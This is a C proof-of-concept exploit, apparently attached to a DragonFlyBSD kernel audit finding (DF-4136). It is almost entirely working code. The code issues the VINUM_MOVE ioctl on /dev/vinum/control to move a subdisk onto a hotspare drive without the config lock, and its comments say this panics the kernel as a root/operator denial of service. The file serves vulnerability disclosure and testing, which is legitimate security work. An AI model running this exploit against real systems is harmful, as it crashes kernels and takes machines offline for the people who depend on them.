⬢ DragonFlyBSD Kernel Audit
DF-4136 / vinum_movepanic.c
← back to finding ↓ download raw
/*
 * DF-4136 PoC: throw_rude_remark() called without the config lock panics
 * the kernel (root/operator DoS via VINUM_MOVE).
 *
 * VINUM_MOVE (vinumioctl.c:317-319) calls moveobject() WITHOUT
 * lock_config(); moveobject -> give_sd_to_drive -> throw_rude_remark()
 * (vinumconfig.c:105) hits the bug-catcher:
 *     panic("throw_rude_remark: called without config lock")
 *
 * Trigger: move a subdisk onto a drive flagged "hotspare" (up state).
 * give_sd_to_drive reaches the hotspare rejection
 * (vinumconfig.c:318-322) which throws.
 *
 * Prereqs (see run.sh): two crafted vn drives:
 *   /dev/vn0s1a: normal vinum drive x0 holding subdisk s0
 *   /dev/vn1s1a: vinum drive x1 with the "hotspare" flag
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFSIZE 1024
#define VINUM_CREATE	_IOC(IOC_INOUT, 'F', 64, BUFSIZE)
#define VINUM_MOVE	_IOWR('F', 98, struct _ioctl_reply)
#define MAX_IOCTL_REPLY 256

struct _ioctl_reply {
	int error;
	char msg[MAX_IOCTL_REPLY];
};

struct vinum_ioctl_msg {
	int index;
	int type;			/* enum objecttype: 0 drive,1 sd,2 plex,3 vol */
	int state;
	int op;
	int force;
	int recurse;
	int verify;
	int otherobject;
	int rename;
	long long offset;
	int blocksize;
};

static void
create_line(int fd, const char *line)
{
	char buf[BUFSIZE];

	memset(buf, 0, sizeof(buf));
	snprintf(buf, sizeof(buf), "%s", line);
	if (ioctl(fd, VINUM_CREATE, buf) < 0)
		printf("  create errno=%d reply=%d %.60s\n", errno,
		       *(int *)buf, buf + 4);
}

int
main(int argc, char **argv)
{
	struct _ioctl_reply rep;
	struct vinum_ioctl_msg msg;
	int fd, driveno, sdno;

	fd = open("/dev/vinum/control", O_RDWR);
	if (fd < 0) {
		perror("open /dev/vinum/control");
		return 1;
	}

	if (argc > 2) {
		driveno = atoi(argv[1]);	/* target (hotspare) drive index */
		sdno = atoi(argv[2]);		/* subdisk index */
	} else {
		printf("usage: %s <hotspare-driveno> <sdno>\n"
		       "  (get indices from: vinum l -r\n", argv[0]);
		return 1;
	}

	printf("VINUM_MOVE sd %d -> hotspare drive %d (no lock held)\n",
	       sdno, driveno);
	memset(&rep, 0, sizeof(rep));
	memset(&msg, 0, sizeof(msg));
	msg.index = driveno;
	msg.type = 1;				/* sd_object */
	msg.otherobject = sdno;
	memcpy(&rep, &msg, sizeof(msg));	/* msg overlays reply buffer */
	if (ioctl(fd, VINUM_MOVE, &rep) < 0)
		printf("  move errno=%d\n", errno);
	printf("  move returned error=%d msg=%.60s\n", rep.error, rep.msg);
	printf("still alive\n");
	return 0;
}